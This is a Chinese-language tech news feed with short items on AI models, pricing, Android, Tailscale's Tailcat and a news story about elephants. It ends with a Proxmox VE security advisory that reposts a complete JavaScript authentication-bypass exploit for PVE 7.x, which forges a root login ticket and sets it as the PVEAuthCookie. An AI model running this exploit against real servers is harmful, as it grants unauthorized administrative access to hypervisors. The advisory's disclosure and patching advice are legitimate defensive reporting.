GPT-Astra 的 computer use 能力真的恐怖。
它能几乎实时地弹奏 midi 钢琴
并且它自主通关了明日方舟 JT8-3
https://www.bilibili.com/video/av117220562704471
它能几乎实时地弹奏 midi 钢琴
并且它自主通关了明日方舟 JT8-3
https://www.bilibili.com/video/av117220562704471
Tips: GPT-6 不计算 「缓存写入」费用，并且 1M 上下文不加价
https://help.openai.com/en/articles/20001415-chatgpt-rate-card-enterprise-token-based-pricing
GPT-6 Astra usage in Codex does not incur additional long-context multipliers above 272K input tokens. Codex does not charge for cache writes.
https://help.openai.com/en/articles/20001415-chatgpt-rate-card-enterprise-token-based-pricing
智谱干的 😡
https://docs.bigmodel.cn/cn/coding-plan/notice/event-glm-5.3-flash
9 月 3 日至 9 月 20 日，GLM Coding Plan 推出夜间畅蹬活动，每晚 23 点至次日 9 点， 调用套餐中的 GLM-5.3-Flash，在 ZCode 中免费使用，在其他套餐支持的 Agent 中使用额度翻倍， 进入指定时间段自动生效，覆盖所有付费套餐用户。
https://docs.bigmodel.cn/cn/coding-plan/notice/event-glm-5.3-flash
智谱AI开放文档
夜间畅用活动 - 智谱AI开放文档
看来Google终于忍无可忍，Android17开始，禁止第三方应用读取开发者选项和USB调试状态，值始终是0。
https://github.com/aosp-mirror/platform_frameworks_base/commit/5d466bf8025ed8a68d9d49b47289f4f5cefbc139
https://github.com/aosp-mirror/platform_frameworks_base/commit/5d466bf8025ed8a68d9d49b47289f4f5cefbc139
分享央视新闻的微博：#深夜门口站满了大象#【#云南一村庄夜里来了50头大象#】近日，在云南西双版纳磨憨镇尚勇村，50头野生亚洲象深夜进村觅食休憩。不少本地村民表示，近20年来从未见过规模如此庞大的野象群。当地立刻启动应急预警，借助无人机全程追踪象群动态。本次象群性情温顺，未冲撞民居、滋扰村民。8月2... https://weibo.com/2656274875/Rg2RW1KZl (来自Share微博客户端)
Tailscale 开源了 Tailcat。两台机器不用注册账号，也不用加入同一个 Tailnet，拿到一串地址就能直接连起来。它继续使用 Tailscale 的 WireGuard 加密、NAT 穿透和 DERP 中继，但不需要 Tailscale 的账号和控制面。
一台机器运行 Tailcat，就会生成一串连接地址。把地址发给另一台机器，就能传文件、转发端口或者 SSH。连接会先通过 DERP 找到对方，再尝试直接建立点对点 UDP 连接；打洞失败，流量才继续走 DERP 中继。整个过程都在用户空间完成，不改系统路由和 DNS。
Tailscale 首席工程师 Brad Fitzpatrick 早在 2023 年就做出了 Tailcat 原型，后来基本搁置。最近 AI Agent 开始大量连接沙箱、远程 VM 和测试机器，他又把这个项目捡了回来。他用 Tailcat 让 Agent 临时连接树莓派、EC2 和 Windows 主机，不用先给 Agent 配账号和网络。
Tailcat 也不是完整 Tailscale 的替代品。它没有用户身份、权限策略和设备管理，连接地址本身要像密码一样保管。Tailscale 托管的 Tailcat DERP 中继会记录元数据，而且限速、没有在线率 SLA；需要更稳定或更私密，可以自己部署 DERP。
信源
动察 Beating 频道 · 动察 Beating 交流群
此漏洞已分配编号 PSA-2026-00043-1
确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9
*如果你在 PVE WebUI 中配置了用户的 TFA，就不受此漏洞影响
https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#post-867929
确认受影响版本: >= 7.0-7 & <8.0.4 (截止今日均已 EOL), 仍然建议更新到 PVE 9
*如果你在 PVE WebUI 中配置了用户的 TFA，就不受此漏洞影响
https://forum.proxmox.com/threads/proxmox-virtual-environment-security-advisories.149331/page-4#post-867929
Update: 由于 PVE 7.x 已 EOL，因此对应版本的 Exploit 已提前发布（确认可完整绕过 WebUI 认证），8.x/9.x 则被作者声明为 “暂时不受影响”
无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！
Exp (.js) 正文:
观后感：不是，你就这么水灵灵的拿到 login cookie 了？
https://fixupx.com/nebusecurity/status/2094719919539793989
无论如何，尽快参考 最佳实践 加固你所有对外开放的敏感服务！
Exp (.js) 正文:
// PVE 7.4 auth-bypass @NebuSec 2026
// First, make sure to try logging in as root with this exact password: root@pam
(async () => {
const form = new URLSearchParams({
username: "root@pam",
password: "root@pam",
"tfa-challenge": "NEBUSEC-CHALLENGE",
});
const loginResponse = await fetch("/api2/json/access/ticket", {
method: "POST",
credentials: "omit",
headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
body: form,
});
const loginBody = await loginResponse.json();
document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
location.reload()
})();观后感：不是，你就这么水灵灵的拿到 login cookie 了？
https://fixupx.com/nebusecurity/status/2094719919539793989
